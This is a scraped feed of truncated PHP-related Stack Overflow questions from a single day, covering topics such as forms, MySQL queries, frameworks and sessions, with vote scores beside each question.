« first day (282 days earlier)      last day (28 days later) » 
00:00 - 13:0013:00 - 00:00

1:00 PM
0
Q: Making an input non-editable without disabling

ElendilTheTallI have a form which calculates a cost and sets the value of an input accordingly. For obvious reasons, I have used: $('#totalcost').attr('disabled',true); to prevent the user from being able to edit the cost. However, when I do this, the PHP script I'm using to mail the form doesn't pick up th...

0
Q: Symfony2 - How to import parameters using Symfony\Component\DependencyInjection\Loader\ClosureLoader?

nifrI found the following undocumented feature in the documentation chapter Miscellaneous Configuration: A resource file can be one of many types. PHP, XML, YAML, INI, and closure resources are all supported by the imports directive. The class in charge of loading these resources seems to be:...

0
Q: Global belongsTo conditions defined in model not being applied (CakePHP v2.3.2)

Christian StadegaartWhy are my global belongsTo conditions defined within a model not being applied? I'm using CakePHP v2.3.2. In model Order.php: public $belongsTo = array( ..., 'Agent' => array( 'className' => 'Party', 'foreignKey' => 'agent_id', 'conditions' => array(...) ), ... In controller Ord...

0
Q: PHP: Illegal string offset

G33K1EI know there already are questions like this, but It didn't help me. I get the follow error on my site: Warning: Illegal string offset 'networkConnections' in /var/www/bitmsg/templates/header.php on line 25 { The line is <?= $bmstatus["networkConnections"] ?> p2p nodes if I print...

0
Q: PHP Mysql foreach insert

MuhammadI have this loop.I want to insert first five values in one row in mysql table and then 6 to 11 in next row. Here is my loop $count = 1; foreach($html->find('font') as $e) { $value_to_insert = $e->innertext; $count = $count+1; } here is my sample query INSERT INTO table (ID,NAME,PRICE,CITY,...

-1
Q: PHP codes to recreate magic constants

okeyxyzHow do I write PHP code to retrieve class-name and function-name, just as these magic constants: http://www.php.net/manual/en/language.constants.predefined.php Just wondering how to replicate them.

0
Q: error in calling soap function in php

user2082234how can i get soap data in php from this site http://www2.rlcarriers.com/freight/shipping-resources/rate-quote-instructions they have "GetRateQuote(string APIKey, RequestObjects.RateQuoteRequest request)" this function how can i call this from php soap $client = new SoapClient('http://api.rl...

0
Q: DROPDOWN list input values not fetched

user2702228I get repeatedly the same error. dropdown data is not fetched from the form. I have my code here this is my controller:ProductController {<?php class ProductController extends Controller { public function actionCreate() { $model=new CreateForm; // collect user input data ...

0
Q: How to carry a check box variable to another page - PHP

NiksI have 5 checkboxes on page 1 and want to fetch rows onto page 2 from database basis on this. Example: if checkbox1 = checked fetch row 1 if checkbox2 = checked fetch row 2 ... and so on. Just provide me with an idea of how to write the syntax for this in PHP.

0
Q: Check if client received http response

user2804112Is there away to know from php that the http response was received? I can flush the buffer and then check if it empty but is doesn't mean that the client get the response. I am looking for the scenario that client generate request and then close the connection.

2
Q: Dont display duplicate records in an xml file

Irene T.I am looping an xml file to display it's content and the structure is: <PRODUCT> <ID><![CDATA[100860]]></ID> <NAME><![CDATA[Blah blah blah blah]]></NAME> <DESCRIPTION><![CDATA[An amazing shoe]]></DESCRIPTION> <CATEGORY_NAME><![CDATA[SHOES]]></CATEGORY_NAME> <MANUFACTURER><![CDATA[Club]]></MANUFA...

0
Q: Strange issue with redirect in CodeIgniter

kromolI am developing site in CodeIgniter and I have next structure: www.domain.com subdomain1.domain.com subdomain2.domain.com subdomain3.domain.com The issue is that for now I have two DocumentRoots on server(don't ask why - it is for historical reasons and I can do nothing with it), and so I hav...

0
Q: Multiple PHP sessions created, but only on webserver

user2950747I'm having problems with PHP sessions that only occur on my testing server (everything works fine on my localhost). I'm developing a custom Wordpress theme, based on Roots. My localhost is OS X (PHP 5.4.4) and the testing server is Ubuntu (5.3.10-1ubuntu3.8). The problems include: New sessions...

-1
Q: How to add the country dynamicaly in drop down box in php?

guru How to add the country in drop down box if user's country is not in drop down box.when user's country is not in drop down box at that time user click on others from drop down at that time show the textbox and user add their country in drop down box in php.

0
Q: How to force PHP to work with the LOCAL watch

kfirbaHow can I force PHP to work with my LOCAL time machine watch? If im working LOCALY and the time is 15:15 for example, I want that whenever I will run the code: date('H:i') it will output "15:15". If the LOCAL time on other machine/server will be 16:15, it will show 16:15 and so on. How do I do ...

-1
Q: Dynamic email creation and reply to post via email

LX7I would like to create an application in php, which can create dynamic emails for users (someting like username.123@domain.com) as evernote, facebook etc. This can also provide the users a feature to reply to post via created email address (username.123@domain.com). Does anyone have any suggest...

0
Q: PHP-MYSQL Get and Print the timestamp twice (DATE_FORMAT(date, '%d/%m/%Y %r') ) in different formats (one with hour, one without)

LiunyI have this code. I have a field that gives me the time and the hour automatically (TIMESTAMP), and everything works perfectly, except that in the 'results' not the divider... I need to, also; display the hour, which, you must know, if I add the '%r' for some reason it will separate my tables by ...

0
Q: GoogleCloudMessaging Unauthorized Error 401

DenisI try to create project with use GoogleCloudMessaging to recieve push - notifications from my remote server. For client i use google tutorial Implementing GCM Client. For server i use this realization on php, but after i started php script, i got an error: Unauthorized Error 401 Here is my ...

0
Q: want some cool design in page navigation

Praveen KashyapHere is the php, i am using for page navigation: <?php if ( get_next_posts_link() ) : ?> <div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older Wallpapers', 'twentythirteen' ) ); ?></div> <?php endif; ?> <

-1
Q: New Game design

Jeffry SolingerI am going to start out like i am new to the whole programming idea. I will be posting a few questions about single items that will be need to proceed. Do have a working model. http://psychowars.net/ this is wrote in php and use a MySQL database. So i do have some php learning yet to do. ...

0
Q: How to retrieve results from joined table in doctrine

StuffyI'm doing a join between two tables using the doctrine that comes bundled in the current symfony release. This is my controller code: use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Acme\GearDBBundle\Entity\TbGear; use Acme\GearDBBundle\Entity\TbDships; class DefaultController ex...

0
Q: How to override cart controller coupon action in our custom module magento

karthikI'm having a module which needs to override coupon code functionality <frontend> <routers> <customcoupons> <use>standard</use> <args> <module>Mycompany_Customcoupons</module> <frontName>customcoupons</frontName> </args

0
Q: JSON parsing with PHP - most efficient way

5erI send JSON object to server. On server side I have to parse this obj with PHP. I stuck in the loop. Im looking for most efficient way to parse this object and save all variables into DB. [ {"ADI":{"id":-1,"danger":0}}, {"ADI":{"id":3,"danger":0}}, {"ADI":{"id":3,"danger":0}}, {"ALE":{"_id":1,...

2
Q: Session Start is very slow with AJAX

Juninho Chri have using Ajax to load the content of another page in my div with Twitter Bootstrap tabs. I realized that Ajax was taking too long to load the request, so I decided to clean up the code and leave just the 'session_start ()'. And the problem is exactly the 'session_start ()'. Microtime used ...

0
Q: Javascript conflict w/ php and mysql null values(syntax)

user3046019Hi everyone I am new in the web developing world and this is my first time to post in StackOverflow.com, so please bare with me for having some mistakes, My 1st problem is I'm calling a function from javascript inside php(is my syntax correct, or is it possible to call that function),my 2nd probl...

0
Q: php - Marker clustering server side

TheApptrackerI currently have a map on my website that is displaying 50,000 markers. These were un readable to the user due to cluttering so I implemented a clustering solution using google's markerclusterer. This works ok but due to the amount of markers, it is incrediably slow to load and sometimes freezes....

0
Q: how to check if post variables with switch at codeiniter

user1080247i post form inputs but what i want,,if some input not post do this code (...) i used switch to do this and isset and empty...but it is not work good..why function create (){ // create word file $this->load->library('PHPWord'); $case_num1 = $this->...

0
Q: How can I update database from PHP function?

user2936389I'd like to replace the generated id with an own typed one from a form in SugarCRM. How can I do it? I've tried like this: function process($bean, $event) { mysqli_query($db,"UPDATE t_profit_calculator SET id_c='".$bean->t_id_c."' WHERE t_id_c='".$bean->t_id_c."'"); mysqli_close($db); }

0
Q: DB Table update with current data + random number from a range defined in another table

GeorgeI'm trying to create a php script but I'm kinda stuck and don't know where to begin. Maybe you can give me a few tips. Here is an example of what the script will do: I have a database containing two tables: Users and Budgets. After the user has logged in he has a menu where he can increase the ...

0
Q: radio button checked value to next page

user3046092I have a the following form code: <form method="post" action="nextpage"> <input type="radio" name="p" value="A"/> <input type="radio" name="p" value="B"/> <input type="radio" name="p" value="C"/> <input type="radio" name="p" value="D"/> </form> The next page has to return the same form with t...

0
Q: Adding missing dates for 1 week back from now

Harry BeasantI am trying to add the missing dates to this array for 1 week back from now. This is an example array I have; Array ( [0] => Array ( [date] => 2013-11-25 [members] => 2 ) [1] => Array ( [date] => 2013-11-27 [member...

-1
Q: Parse error: syntax error, unexpected end of file bei file lesen

user3045958Kann jemand mir helfen, ich bekommen die Fehlermeldung Parse error: syntax error, unexpected end of file, aber ich weiß es nicht was falsch ist. Ich bin noch Anfanger. liste.txt hat 10 Zeile, mit 5 Felder. require_once 'testAPI.php'; require_once 'auth_zend.php'; ?> <html> <body> <table ...

0
Q: How to add page like option on status update using facebook graph api

user3046084How to add page like option on status update using facebook graph api; How to implement embade page like on a facebook status update using api from a app in http mode![facebooklikeimgae][1] I cant find any way to do it..Please help. sayak2011@gmail.com

-2
Q: Fatal error: Call to a member function query()

JohnThe code: $sql = "SELECT code FROM `vrijwilligers` WHERE `voornaam` = '$name'"; if ($result = $db->query($sql)) { while ($row = $result->fetch_assoc()) { return $row['code']; } } Problem: Fatal error: Call to a member function query() on a non-object in xxxxx on line 29 So simp...

0
Q: Post comment to a feed with a link to another application using Facebook PHP Api

Frederic HutowIs there a way to link to another Facebook Application/Object using Open Graph API when creating a new comment? For example : "Try APPABC today" where APPABC is linked to the desired Application. Something similar when you write on Facebook's site: @APPABC where it links APPABC to the proper pa...

0
Q: Protect html/php files with password

kfirbaI have PHP files which I would like to protect. I want that only the server/browser will be able to read them, but if someone tries to open them with some text-editor, it will ask for password or something like that. Is it possible doing such a thing? If not, please supply me some ways which I ...

0
Q: How to embed a youtube video in php using url and id

user2957949I have a youtube search that searches through youtube with php and returns relevant videos based on the search criteria, but the video link redirects the user to the youtube site. I want the user to be able to watch the returned videos on my site. How can I change this so that when the link is cl...

0
Q: PHP unserialize is not working

ravisoniI'm trying getting the actual code from an serialized string which seems like O:8:"ItemType":41:{s:18:"*BuyerProtection";s:14:"ItemIneligible";s:16:"*BuyItNowPrice";O:10:"AmountType":2:{s:15:"attributeValues";a:1:{s:10:"currencyID";s:3:"USD";}s:8:"*value";s:3:"0.0";}s:10:"*Country";s:2:"US";s:11...

0
Q: how to get ID value from looped table using php and javascript

user3041231I've been trying to work out how to create a table using php and mysql, this is what i've got so far... PHP foreach($result as $res){ echo '<tr><td style="display:none;"><p id="ID">' . $ID . ' </p></td><td>' . $res['NAME'] . '</td> <td>' . $res['option2'] . '</td> <td>...

0
Q: How best to validate a mobile phone number based on character length, starting with and numeric using php

ade123Hi I have a mobile phone number field. I am currently validating if empty: <?php if ($_REQUEST['text_message'] && !@$_REQUEST['text_message_mobile']){ $errors[] = "Please enter your mobile number for text messages"; } ?> I would like to add validation to check that the mobile numb...

0
Q: ga send event in google analytics.js

eskimoI'm using Google analytics.js (so not the 'old' ga.js) and in some links I have for example: <a href="www.example.com" onclick="ga('send', 'event', 'outbound link', 'position: header');">Link</a> The onclick code is dynamically generated by php depending on what page you are. Now I can't test ...

0
Q: Google charts are not displaying with new release

SandyThis is the my code i am using for column chart before the new release of Google Api and it is working fine. Now my chart is not displaying. i have checked the new release changes but i found noting relevant. the first problem appears with the data type in array, float data type is not legal and ...

1
Q: dynamic variable variable with while loop

ddw147i have following while while($rs=mysqli_fetch_array($row)) { } in each while execution there is one column which will have some ID lik 5 , 6 7, 8 ID Name Intake division_no 1 5 1 2 2 6 4 5 i have some varible name like txtin5, txtin6 while loo...

0
Q: Symfony2 create and download zip file

BrunoRamalhoI have one application that upload some files and then I can compress as zip file and download. The export action: public function exportAction() { $files = array(); $em = $this->getDoctrine()->getManager(); $doc = $em->getRepository('AdminDocumentBundle:Document')->find...

0
Q: Change decimal separator in windows xp with php 5.3 and oracle 10g

JohnPortellai have two computers : Server : Centos. PC Developer: windows xp Both: apache php 5.3 connection with the same BD. My table has a number column. When I print the number column in php, the output is : Server : 12.244 12.890 Pc Developer 12,244 12,890 I want that the pc developer ...

0
Q: PHP current location automatically change to REQUEST_URI

walkerI'm using MVC. In app folder: .htaccess RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?q=$1 [L,QSA] When access: http://localhost/app/user/login The $_SERVER['REQUEST_URI'] shows /app/user/login why doesn't it cha...

0
Q: Find out if the price was zero when looking through php array of price history/changes

PappAppI have all the price changes in a array like this (date, pricechange). It is always in date order: $pricehistory = array ( '2013-11-04' => 10, '2013-11-10' => 0, '2013-12-01' => 10 ); What I need is to find out if the price for a specific date was zero. function was_free($date) { ...

0
Q: mysql access through php from asp website as there is no remote access

user3045974I'm about to run an asp website on a hosting server which gives no sql, but another one with php n mysql. the problem is remote access to mysql is denied. Is there any possible ways to connect it with, so clientside can access the database using php or something?

0
Q: how to delete item from ebay list items through trading api

user3045074i am successfully ended the item with using trading api but i want to delete or remove item from ebay list items how can i do that? Thanks in advance Regards, Kavitha

0
Q: Remove special characters in regex PHP that allow accented words and chinese language

Vincenzo Lo PaloI need a solution that remove all special characters except alphanumeric and accents. I tryed this solution without success. preg_replace('/[^a-zA-ZáéíóúÁÉÍÓÚâêîôÂÊÎÔãõÃÕçÇ0-9_ \.&-]/s', '', $string); Furthermore, its need that regex (or other specific solution) allow chinese and arabian chars...

0
Q: Fetching array values in cakephp

user3042645if ($q['Question']['type']==2) { $qs=$q['Question']['id']; $s=explode(",",$q['Question']['qvalues']); $cs = $this->requestAction("/survey/responsethere/id:$qs"); foreach($s as $val){ echo "<fieldset id='$qid'>"; ...

0
Q: step by step tutorial about how to connect a sql server database from a php website in order to do CRUD?

fereshteheveryone. I have a question which is really important for me,so please help me. I want to connect from my php website on host to a sql server database(this is probably on host too),I searched and understood it can be done,there is a driver for it or other ways... but this is my first time doin...

0
Q: uploading png images with transparent background and keeping the background transparent

Barry WattsI have a php page which takes a user image and uploads it to my webserver. I have just noticed that if I have a png with a transparent background, and upload it, the background is changed to white. For example I create a new image in photoshop with a transparent background and then add a colou...

0
Q: access an excel file located at /app/webroot/files in cakephp

user765368How do I access an Excel file that is located at /app/webroot/files in a cakephp application inside a controller? I tried this: Router::url('/files/my_excel_file_name.xlsx', true); But that says that the file does not exists Help please Thank you

0
Q: Model class not found in not found in C:\wamp\www\redirect\system\core\Loader.php on line 303

user3016262I am getting error when calling the model from controller. Error:- SCREAM: Error suppression ignored for ( ! ) Fatal error: Class 'Redirection_model' not found in C:\wamp\www\redirect\system\core\Loader.php on line 30 My controller redirection.php <?php if ( ! defined('BASEPATH')) exit('No d...

0
Q: if no file upload, file id in database should be: placeholder.gif

user2975100i have a form where you can put an image uploade, which is optional. with this script at the moment it writes upload/timestamp into my database. but i need to replace that with a placeholder if no file is uploaded. here is the code: $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = ...

0
Q: Jquery Ajax - check date and time availability

Marius ProllakI have a booking form where I want to live check for availability. I managed to get this working just for checking if date is available, but having trouble also incorporating time into it. This is how I do the check in Jquery / Ajax: $(document).ready(function(){ $("#time_select_2_hour")....

-1
Q: how to protect PHP my admin access

kfirbaHow can I protect PHPMYADMIN with password? I mean that whenever I will go to localhost/phpmyadmin it will ask for username and password, only after given the right username and password, it will allow the user to view all of the databases, tables and so on. Thanks in advance!

0
Q: PHP Search Engine with weights

Florian Mac LangladePlease excuse my bad english, I'm french ! I have to improve the search engine of my website. Results must be sorted by performance. For example : A user enter : "Jean Levis" in the input. My search engine must assign a weight to all results by performance : - +10 points because the category ...

0
Q: PayPal IPN History shows payment_status=Complete but queries don't update

user1626410When a payment is sent and I check my IPN History it all comes through correctly showing payment_status=Completed&payer_email=the@email.com However in my IPN anything after if ($payment_status == "Completed") or if (strcmp ($res, "INVALID") == 1) doesn't seem to work, including the queries and t...

0
Q: Get all events from all calendars from Google

Anoniem AnoniemI'm attempting to get all events (in a time-period of two weeks from now but that doesn't matter for now) of all calendars of a Google account. So far I've been able to get all calendars of the preferred Google account and the events of the 'main' calendar of it. Now I would like to get all event...

0
Q: where to find web search api for Google, Yahoo and MSN

Gautam MenariyaI found google web search API. But google ajax search is depricated. I am building a servic where i need google, yahoo and MSN web search results. i found for google http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=gautam can yahoo amd MSN have same like google. or google itself hav...

0
Q: To make a slide out photo for a profile in php

Saint LeeTo use a change photo by on click with slider box. Would like to add as a j script with chose of files . Right now there is no storage to db how would i have to store in mysql i think as a blob ? also if its a full size photo i would like to make it only a thumbnail at max of 120x120 want to...

0
Q: Run mysql query from php

user2298034I am trying to run a MySQL query from a PHP script like this: $q = " UPDATE cf_ab_companies, inndata200 SET cf_ab_companies.col_158 = inndata200.AFakt_10_Fast_renhold, cf_ab_companies.col_159 = IF ( inndata200.Startdato = "01.01.3000 00:00" OR inndata200.Startdato = "01.01.2000 00:00", NU...

0
Q: Should I use BackboneJS?

SHTWe are trying to build a pretty big website using the PHP framework CodeIgniter. The site will contain a lot of data which comes from a MySql database and will probably be a bit heavy. Now we are discussing to use BackboneJS to implement the Frontend/UI and we are asking ourselfes if we should ...

0
Q: php logic arrays and old vs new variables

ArrowThis is my issue, it feels simple but I'm missing something. I have an array (row in a mysql table): id 125 [0] => 2 [1] => 3000.000 id 122 [0] => 3 [1] => 3000.000 id 125 [0] => 5 [1] => 3000.000 id 122 [0] => 1 [1] => 3000.000 I need to total array[0] per ...

-1
Q: Checking whether a record already exisits in database

IdontknowI am in the process of trying setting up a survey to gauge customer satisfaction of our ecommerce customers. The survey is linked to via a link in an email with the order reference passed in the url so the survey page can retrieve it via $_GET global. The page reloads itself to validate the answe...

-1
Q: I have been trying to upload multiple files

user3025122I have been trying to upload multiple files and moving to different folder, files are uploaded and moved but the format is .tmp so, how can it be changed? $tree3=getcwd(); echo $tree3; foreach ($_FILES['file']['tmp_name'] as $filename) { foreach ($_FILES['file']['name'] as $filename2) ...

0
Q: Laravel4 POST unexplained redirect to GET

lserniAnother I-did-not-sleep-enough question, I'm sure. I'm posting it as a sacrifice to the Elder God Murphy: as soon as I expose my moronity for all to see, I'm guaranteed to find by myself that answer that otherwise will elude me for hours (by way of further penance, I will then post the answer as ...

0
Q: Check for missing holes in the database and add the Number and make it primary key

kinsesyeteI have a table named tclients. I want to have the client numbers according to the location For Ireland - range it from 10000 - 19999 For UAE - range it from 20000 - 29999 For Qatar - range it from 30000 - 39999 I want a PHP or MYSQL code that will check if there's a client number not yet insert...

0
Q: click on a link in a table, then check in what row the link was

Erwin SaasenWhat I want to make is this: I am making a blog. Now I want a query in my mysql-database that finds all the information that is in there. After that it should echo the title's of the blog's on my site in a table. Then I would like to give people a choice which blog they would like to see. So wh...

2
Q: RewriteRule for a file in a parent directory

JamesI've got a site set up on an apache server with the desktop site in /public_html and a mobile site /in public_html/mob I'm trying to set up an .htaccess rewriterule to send users to an index.php file in /public_html if they visit the /mob folder. My current rewrite rule (which isn't working) is:...

0
Q: Get certain elements of an array by its key

revaxartsI'm sure there's a function for this: What I have: $myArray = array( 'foo' => 123, 'bar' => 456, 'lou' => 789, 'wuh' => 'xyz' ); $iNeed = array( 'foo', 'lou' ); How can I get the key value pairs that $iNeed: $output = super_magic_function( $iNeed, $myArray ); // output should be array( 'foo' =>

0
Q: MySQL fulltext returns duplicate rows

Redzwan LatifI wrote codes to search for a keyword from different tables. This is my code : $stmt = $conn->prepare("SELECT DISTINCT rest.*, MATCH(rest.resname, rest.address) AGAINST(:keyword) as a, MATCH(cuisine.cuisine) AGAINST(:keyword) as b, MATCH(recc.recc) AGAINST(:keyword) as c, MATCH(emenu.menu, emenu...

0
Q: Filter fields that have to insert

giergI have a function that contains the following. $column = array("id","a","b","c","d","e","f","g"); for ($i = 0; $i < 6; $i++) { $data = array( $column[0] => $id, // is auto_increment field $column[1] => $this->input->post("bsst" . ($i + 1)), $column[2] => $this->input->p...

0
Q: Multiple values per field in a MySQL database

user3005306 First of all: I know that its really bad style to work with multiple entries in one field, but I did not create the database myself and now I have to work with it. It has around 20000 entries and I really dont want to change it at the moment. The table A I'm talking about has a column with some ...

0
Q: Javascript adding </p> after first word of paragraph (bug)

IhaveagreenavatarMy last question a couple of weeks ago was solved on stackoverflow, but it left me with another problem: javascript is adding </p> after the first word of every paragraph in a text that is overflowing into another div. So far, i can't find a solution or workaround. This is the site, it's about t...

0
Q: get table name of resultset Mysql

7HUND3RXI am using PHP PDO. My stored procedure returns two resultsets. Is it possible to name the resultsets? In case they are SELECT statements on two tables like, SELECT * FROM A, and SELECT * FROM B, Is it possible to identify them?

0
Q: PHP static code analysis - disabling false-positive warnings

FazoMisiekOn our CI servers we run PHP codesniffer and phpmd. Some of issues raised are false-positive. How can I disable certain parts of PHP file to be analysed by those (as @SupressWarning(...) in Java) ? Thanks!

0
Q: How to update a field in doctrine to set it null

metalvarezI want to set null to a field in doctrine and here is the sentence $em = $this->getDoctrine()->getManager(); $qb = $em->createQueryBuilder(); $query = $qb->update('Model\Example', 'u')->set('u.deletedAt', ':deletedAt') ->where("u.id IN (:ids)")->setParameter('deletedAt', null) ->setParameter('id...

1
Q: Doctrine 2 - How to have an association class with a mapped superclass?

user3046367I'm having trouble with a Doctrine 2 mapped superclass, to define a ManyToMany Relation. My code is : <?php use Doctrine\Common\Collections\ArrayCollection; /** @MappedSuperclass */ abstract class MyAbstractClassA { /** * @Id * @GeneratedValue * @Column(type="integer") ...

-3
Q: PHP Reading the URL

user3001065How do I make the following url to be read: localhost/index.php?errormsg=wrongpassword so I want it to set the variable $errormsg to 'wrongpassword' how do I do that? I am pretty sure there is a way using $_GET or $_POST?

0
Q: Multiple Charsets Issue

user3004160I've tried a few things such as str replace, changing the charset etc but I can't get anything to work properly. Problem Items have been uploaded to the database with no charset. I've now added the charset to make sure this doesn't happen again. Now I need to fix the items that are in the databa...

-1
Q: php version a javascript function...(postcode validation)

user3046399I am looking for a way to achieve this in PHP... var newPostCode = checkPostCode (document.getElementById('Postcode').value); if (newPostCode) { document.getElementById('Postcode').value = newPostCode; return true; } else alert ("Postcode has invalid format"); return false; }...

0
Q: XML - XPath --- Finding all same level nodes as the one containing a certain text

user3046394I know the title might be a bit hard to understand but I'll do my best to explain what I need in here. Here I'll first give you my XML code. <stamoudste soort = "man"> <naam>Geert</naam> <kind soort="zoon"> <naam>Kurt</naam> </kind> <kind soort="dochter"> <naam>An</naam> <kin...

0
Q: How to load linked page before leaving current page

user1826795I've got a very wide question and I'm sure there is no short answer for it but maybe someone of you can lead me in the right direction. I wonder how to load a web page when you click on a link before leaving the current page; thus causing no white flicker between this page and the next page. I k...

0
Q: Google Calendar layout

user3046407I have been working with this php code, which should modify Google Calendars layout. But when I put the code to page, it makes everything below it disappear. What's wrong with it? <?php $your_google_calendar=" PAGE "; $url= parse_url($your_google_calendar); $google_domain = $url['scheme'].'://'....

0
Q: PHP: How to post hidden field with style='display:none'

EustatiaThis doesn't get posted if it's hidden like this, how do i get around it? <input name="Pid" style="display:none"/> and PHP. $Pid = preg_replace ('#[^0-9 ]#i', '', $_POST['Pid']);

0
Q: Folder Structure To Nested HTML List

Jack TrowbridgeI have a complex folder structure, with folders inside folders etc.. and I want to display the structure in a html nested list. I want to use PHP to look at the folders and then display there names. How do i do this, or has it been done before? Thanks in advance, Jack.

0
Q: customizing facebook like informations displaying in profile facebook pages

Fabio RossiI have to customize the elements displayed in the facebook personal page after publishing the like made to a post on a website. I see that image, title and links are displayed but i have to display the post description too. I've read, following some "Questions that may..." that i should use th...

0
Q: Real Estate CMS Using ASP.Net

Seyed Morteza MousaviIs there any CMS Written in Asp.net? for examle http://www.softaculous.com/demos/Open_Real_Estate is free CMS but is not written in Asp.net.

0
Q: Woocommerce wordpress plugin to show same page on featured product

Bhawin Parkeriai use a woocommerce to show my products on my blog i have a woocommerce featured plugin to show products in a slide view in which on clicking every product , it shows the details of that product , What i want is to load same page on clicking on any product

-5
Q: How do I select first word from database?

Jeffrey van ZwamHow can I create a script that checks the first word in the database? if (first_word_in_table == word){ action goes here; }

0
Q: Second JSON POST seems not to be executing the PHP file

user3046389So I'm getting data from the database in the first part of my jquery <-> php <-> mysql connection. The first part works perfectly -> My code: $( document ).ready(function() { $( '#create-checklist' ).submit(function( event ) { //console.log("submit:"); var tagList = []; // create...

0
Q: Right way to get Web Server time and display it on Web Pages

d_4dinkeyI am developing my website using PHP Codeigniter Framework. I want to display my webserver's time as well as client's machine time on some of my web pages. I successfully displayed client side time using JavaScript that updates the time every second by simply using setInterval('clientMachineTime...

0
Q: Cake PHP Case Insensitive Find

bstamourIs there any way to perform a case-insensitive lookup in Cake PHP? e.g. is something like the following possible? $record = $this->find('first', array('conditions' => array( 'name' => $name, ...

0
Q: php - Server side marker clustering

TheApptrackerI currently have a map on my website that is displaying 50,000 markers. These were un readable to the user due to cluttering so I implemented a clustering solution using google's markerclusterer. This works ok but due to the amount of markers, it is incrediably slow to load. I would like to use ...

0
Q: Silverstripe 3.1.2 - PaginatedList only for Dataobjects related to page

cSGermanyI want to create a paginated news section with different categories. the problem is, that I get the news out of all categories and not only out of the chosen category. My categories are pages and the news are stored in a Dataobject which has a $many_many relation. That's my Code. What should i ...

0
Q: Proper way to define list class

FwolfWhen working with some project, their are special kind of model class, which deal with list or batch data content, eg: class UserList { /* Do some logic work, then use DAL to retrieve data */ public function listUserHaveSomeBadge() {} /* Do same operate on all user fit the condition...

0
Q: SQL: OR Statement Not Working

zulhfreelancerI have a table contains 5 columns: ID, name, email, comment & datetime. I create a search form to let users search records by name or email. This is my code: <?php // database info $host = "localhost"; $username = "root"; $password = "root"; $db_name = "test"; $tbl_name = "abctable"; // connt...

0
Q: PHP What is the fastest way to count strings occurrences?

VardiusA prefix of a string S is any leading contiguous part of S. For example, "c" and "cod" are prefixes of the string "codility". For simplicity, we require prefixes to be non-empty. The product of prefix P of string S is the number of occurrences of P multiplied by the length of P. More precisely, i...

0
Q: Custom field in customer_address default value

David SarmientoI have defined a lastname2 attribute for customer and customer_address, it shows up correctly in all forms, but when I'm creating a new address, its does not get 'prefilled' with the customer's value. Any clues on how to do it? The definition of my fields: $entityAttributes = array( 'c...

0
Q: Magento full page cache

sergioWhen full page cache is enabled, Up-sell products disappear from PDP after its reloading. Is it a bug(I found it on clear default magento store)? Any advices to solve this problems?

-2
Q: What does "if($_GET['name'])" mean?

user3033398What does if($_GET['name']) mean? Is this equal to if(isset($_GET['name']))? I really can't find anything in google, so i hope you can help me. Thank you.

0
Q: How to expire a web-page immediately

iSunI have a web page and I want to immediately expire it after loading so If user wants to see my page code he should face with an error like this: Document Expired This document is no longer available. To accomplish this ideas I set the following header on my page: <?php header('Expires...

0
Q: PHP not storing data in sessions for some users

dotancohenAn internal server serves two different applications to users on our LAN: https://10.0.0.100/app1/ https://10.0.0.100/app2/ Both apps are served by the same Apache config file, they are just in separate directories under public_html. Both apps use PHP sessions, but they both prefix the $_SESSI...

0
Q: What should i use to save date and time

Sven BFor my new database i want to save a given date and time and year from php to my database with mysqli, in sql i can make a field : DATE DATETIME TIMESTAMP TIME YEAR I'm using the database only with php, what type should i select? and for what reason. I think datetime and timestamp are the...

0
Q: Jquery ajax post to disable enable fields and get response

Baroni have an ajax call that i disable a fields and i then want to enable again once the ajax has finished. How i can re-enable a fields ? My jquery $(document).ready(function(){ $('#form-signin').submit(function(){ $( "#response" ).fadeIn( "slow" ); $('#response').html("<div class='messag...

0
Q: Klein routes don't return anything

user3046509I've got this code in my index.php <?php require 'vendor/autoload.php'; $router = new \Klein\Klein(); $router->respond('/hello-world', function () { return 'Hello World!'; }); $router->dispatch(); and htaccess: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule . /index...

0
Q: PHP into HTML code

user3046490Can anyone check why this code not run ? Sorry for my bad english <html> <head> <link href="stile.css" rel="stylesheet" type="text/css"> <title>LetteLariaMente</title> </head> <body> <div id="drop-menu"> <ul id="menu"> <li><a href="index.html">Home</a></li> ...

0
Q: Write a program to moniter bit P1.3. When it is high, send 55H to P2

Alexander Shtuka first issue second item 3 issue Having some issues with a page tab app, using flash in the iframe. There is a glitch with the breadcrumbs where ther eis always a second one under the actual breadcrumbs, has anyone run into this?

-2
Q: PHPMYADMIN messed up theme

kfirbaI've just upgraded my wamp server from 2.2 to 2.4. It has also upgraded my PHPMYADMIN version. The problem is, now all of the icons are messed up! image: as you can see, instead of + sign, i get this red sign. instead of databases, i also get that red sign its just all messed up! I've tried t...

0
Q: Display message on jquery slide login form

ToniHopkinsWasnt too sure what title to put for this but here goes. Originally I made a seperate login page for members to be able to access different areas of a site to standard users. I later updated my site to use a jquery slide form that is accessible from all pages of the site by clicking on a tab at...

0
Q: Escape for DB entire Array

Fez VrastaI'm using PHP to write a script that will give me a MySQL query that I will then use directly from MySQL Workbench. I fetch the data from a .csv and then I loop them to write the SQL syntax with PHP. My problem is a way to escape every string inside the array to prevent that I get a corrupted q...

0
Q: Java how to do sha256 hashing equiavelent to php crypt function ? result is not the same?

cesztoszuleI am using this http://raginggoblin.wordpress.com/2012/08/11/java-alternative-to-php-crypt-function/ for the equivalent of php crypt function or does it says here that it is... But I have the same value in java and in php but the hashing result is different.. I was wondering if not hashing is d...

0
Q: Filter html table containing large data (More than 12K row)

RaviI m working on small project that contains list of Website(Max added 12000 name), I m asking user to select their interested for that i created piece of code like on js fiddle: $(document).ready(function () { $("#title").keyup(function () { if ($(this).val() != "") { $("...

0
Q: Showing image from password protected dir not working

user2496131I have a piece of code which shows images from a password protected dir. The image path and name are retrieved from the database. The code worked fine until recent. I don't exactly know since when and why it is not working. It still works on my local pc and on a subdomain on the same server. if ...

0
Q: PHP Unexpected T_STRING

user3046561i am trying to get php to insert some data into mysql database. Everything is working but it say's that there is a problem wuth the T_STRING in this line? Insert into person ("fornavn", "efternavn")

0
Q: Store associated value from one table to another table in mysql

user2782577Table one Id subject class teacher 1 English 1 1 2 Math 1 2 3 SST 1 3 4 Computer 1 1 5 Physics 1 3 6 Chemistry 1 3 Each subject a...

0
Q: MySQL if exists syntax

